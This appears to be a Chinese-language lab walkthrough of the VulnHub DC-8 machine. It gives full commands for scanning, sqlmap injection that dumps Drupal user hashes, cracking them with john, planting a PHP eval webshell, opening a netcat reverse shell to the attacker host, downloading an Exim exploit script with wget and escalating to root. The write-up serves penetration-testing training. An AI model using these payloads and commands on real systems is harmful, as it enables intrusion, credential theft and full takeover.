vulnhub 靶场DC-8实战指南
vulnhub 靶场DC-8实战指南
靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/
攻击机kali:192.168.48.138
靶机DC-8:192.168.48.171
信息收集
- 查看靶机ip
arp-scan -l

发现靶机ip为192.168.48.171
-
端口扫描
nmap -A -p- -T4 192.168.48.171
-
访问80端口的web站点

随便点点,发现可能存在SQL注入,等会尝试
-
扫描目录试试看
dirb http://192.168.48.171
dirsearch -u http://192.168.48.171 -i 200

发现存在登录页面,尝试获取用户名密码进行登录

- 网站cms指纹信息

漏洞探测
-
尝试刚刚发现可能的注入点

增加单引号,出现报错,大概率存在SQL注入

sqlmap一把梭!!!
sqlmap -u http://192.168.48.171/?nid=1
获取数据库信息
sqlmap -u http://192.168.48.171/?nid=1 --dbs

获取到数据库名为:d7db
获取数据库中的数据表信息
sqlmap -u http://192.168.48.171/?nid=1 -D d7db --tables

共88张表,发现其中存在 users 数据表

获取 users 表中的字段信息
sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users --columns

发现存在 name 和 pass 字段,尝试获取字段内容
sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users -C name,pass --dump

发现密码进行了加密,尝试进行密码爆破
将获取到的hash值存储为txt文件后,使用哈希工具 john 进行爆破
vim ryan.txt // 编辑文件内容,将hash值写入
john ryan.txt // 使用john工具进行爆破

admin用户的密码没有爆破成功,john用户密码爆破成功,为turtle
使用 john/turtle 尝试登录网站

成功登录

接下来尝试能否getshell,再进行反弹shell操作
getshell
先熟悉熟悉后台功能,发现存在富文本编辑器

先验证一下是否能执行php代码
<?php phpinfo();?>



发现能执行phpinfo
那就尝试写入一句话木马
<?php @eval($_POST[1]);?>

尝试使用蚁剑连接

进入虚拟终端,进行反弹shell(执行该操作前,先在kali进行监听)
nc 192.168.48.138 8888 -e /bin/bash

kali监听
nc -lvnp 8888

交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

提权
suid提权
SUID(Set User ID)是一个文件权限位,用于允许用户以文件拥有者的权限执行该文件。这意味着当用户运行一个具有SUID位的程序时,该程序会以文件拥有者的身份运行,而不是用户的身份。
sudo(superuser do)是一个命令,用于以超级用户或其他用户的身份执行命令,它需要用户输入密码。
简单来说,SUID是文件级别的权限提升,而sudo是命令级别的权限管理。
SUID提权指的是通过利用具有SUID位的程序,非特权用户可以获得更高权限(通常是root权限)执行该程序。
suid提权的工作原理及执行过程:
SUID位:在类Unix系统中,文件的权限位可以设置为SUID。通过设置SUID位,文件的所有者可以授权其他用户以其身份执行该文件。
执行过程:当用户运行一个具有SUID位的程序时,操作系统会临时提升该程序的权限,使其以文件拥有者的身份执行。这样,普通用户可以执行一些原本只有管理员才能执行的操作。
find / -perm -u=s -type f 2>/dev/null

查看exim4的版本
Exim4是一个开放源代码的邮件传输代理(MTA),用于在Unix和类Unix系统上发送和接收电子邮件。它灵活且高度可配置,支持多种邮件传递方式、反垃圾邮件功能和多用户环境。

使用 searchsploit 查找exim可利用的漏洞

查看利用信息

找到脚本路径
将脚本复制到当前工作目录
cp /usr/share/exploitdb/exploits/linux/local/46996.sh ~

启动apache服务,并将脚本放到 /var/www/html 目录下去

在得到的shell中下载利用脚本
wget http://192.168.48.138/46996.sh

发现没有权限,切换到 /tmp 目录下,重新下载

成功下载
发现该文件没有执行权限,赋予执行权限
chmod 777 46996.sh

查看脚本使用方法

进行提权
./46996.sh -m setuid

提权失败,利用第二种方式
./46996.sh -m netcat

提权成功
找到flag

查看flag
